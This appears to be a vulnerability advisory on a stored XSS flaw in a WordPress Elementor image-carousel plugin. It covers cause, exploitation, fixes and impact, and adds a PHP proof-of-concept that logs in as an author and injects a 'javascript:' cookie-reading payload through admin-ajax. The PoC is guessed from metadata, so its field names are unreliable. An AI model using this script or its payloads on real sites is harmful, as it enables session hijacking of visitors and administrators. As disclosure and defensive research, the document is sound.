Atomic Edge analysis of CVE-2026-65534 (metadata-based):
This vulnerability is a Stored Cross-Site Scripting (XSS) flaw in the ‘Custom links in Elementor Image Carousel’ WordPress plugin, affecting versions up to and including 1.1.1. An authenticated attacker with author-level access or above can inject arbitrary web scripts, which execute when any user accesses the affected page. The CVSS score is 6.4 (Medium), with a vector reflecting low-privilege access, no user interaction, and a scope change to potentially other resources.
Root Cause: Based on the CWE-79 classification and the description, the plugin fails to properly sanitize user-supplied input and escape output within the ‘Custom links in Elementor Image Carousel’ functionality. Author-level users can supply custom URLs or link attributes when configuring image carousels. The lack of sanitization allows JavaScript payloads to be stored, and the lack of output escaping causes those payloads to render as active content in the frontend. This is inferred from the CWE and description; no source code diff was available for confirmation.
Exploitation: The attacker likely uses the WordPress admin interface to create or edit a post or page with an Elementor Image Carousel widget. Within the widget settings, the attacker modifies the ‘Custom Link’ field for an image, injecting a payload like `javascript:alert(document.cookie)` or an HTML event handler such as `” onerror=”alert(1)`. Because the plugin processes this input without sanitization, the crafted link is stored. Any visitor to the page then triggers the script. The attack requires an author-level account, which has permission to publish content. Atomic Edge analysis notes that no AJAX action or REST endpoint is specifically mentioned in the available metadata; the attack surface is primarily the standard elementor editor interface.
Remediation: The fix requires implementing proper input sanitization and output escaping. The plugin should apply `sanitize_text_field()` or `esc_url()` on input, and use `esc_url()` or `esc_html()` when rendering the custom links. For Elementor controls, the developer should use the ‘url’ control type with appropriate validation. Additionally, WordPress core functions like `wp_kses_post()` may be used to allow safe HTML while stripping script tags and event attributes. Since no patched version is available, site administrators should consider temporarily disabling the plugin or applying a virtual patch.
Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of any user who views the compromised page. This can lead to session hijacking, theft of authentication cookies, unauthorized actions on behalf of administrators, defacement, or injection of malicious redirects. Although the attacker has author-level access, the impact can extend to administrators and regular visitors, making the vulnerability a significant risk for sites using the plugin.
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-65534 - Custom links in Elementor Image Carousel <= 1.1.1 - Authenticated (Author+) Stored Cross-Site Scripting
// This PoC simulates an authenticated author updating an Elementor page to include an XSS payload
// in the Custom Link field of the Image Carousel widget.
$target_url = 'http://example.com'; // Change to WordPress site URL
$username = 'author_user'; // Author-level account username
$password = 'author_pass'; // Author-level account password
$post_id = 123; // Target post/page ID (must have Elementor Image Carousel)
// Payload: JavaScript injection via custom link field. Uses common XSS vector.
$payload = 'javascript:alert(document.cookie)'; // Simple proof, can be replaced with more evil payloads
// --- Step 1: Authenticate and get cookies/nonce ---
$login_url = $target_url . '/wp-login.php';
$postdata = [
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
];
$ch = curl_init($login_url);
curl_setopt_array($ch, [
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($postdata),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => 'cookies.txt',
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false
]);
$response = curl_exec($ch);
curl_close($ch);
// --- Step 2: Get Elementor editor nonce and data ---
$editor_url = $target_url . '/wp-admin/post.php?post=' . $post_id . '&action=elementor';
$ch = curl_init($editor_url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEFILE => 'cookies.txt',
CURLOPT_SSL_VERIFYPEER => false
]);
$editor_html = curl_exec($ch);
curl_close($ch);
// Extract nonce from editor page (typical pattern)
preg_match('/"nonce":"([a-f0-9]+)"/', $editor_html, $matches);
if (empty($matches[1])) {
die('[!] Could not extract nonce. Manual interaction may be required.');
}
$nonce = $matches[1];
// --- Step 3: Send AJAX request to update Elementor data with malicious link ---
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$postdata = [
'action' => 'elementor_ajax',
'editor_post_id' => $post_id,
'nonce' => $nonce,
'actions' => json_encode([
'save_builder' => [
'action' => 'save_builder',
'data' => [
'elements' => [
[
'id' => 'widget_carousel_id',
'elType' => 'widget',
'widgetType' => 'image-carousel',
'settings' => [
'custom_links' => [
[
'url' => $payload,
'_id' => 'link_1'
]
]
]
]
]
]
]
])
];
$ch = curl_init($ajax_url);
curl_setopt_array($ch, [
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($postdata),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEFILE => 'cookies.txt',
CURLOPT_SSL_VERIFYPEER => false
]);
$ajax_response = curl_exec($ch);
curl_close($ch);
// --- Output result ---
echo "[+] XSS payload submitted. Check if script executes on page.n";
echo 'Payload: ' . $payload . "n";
?>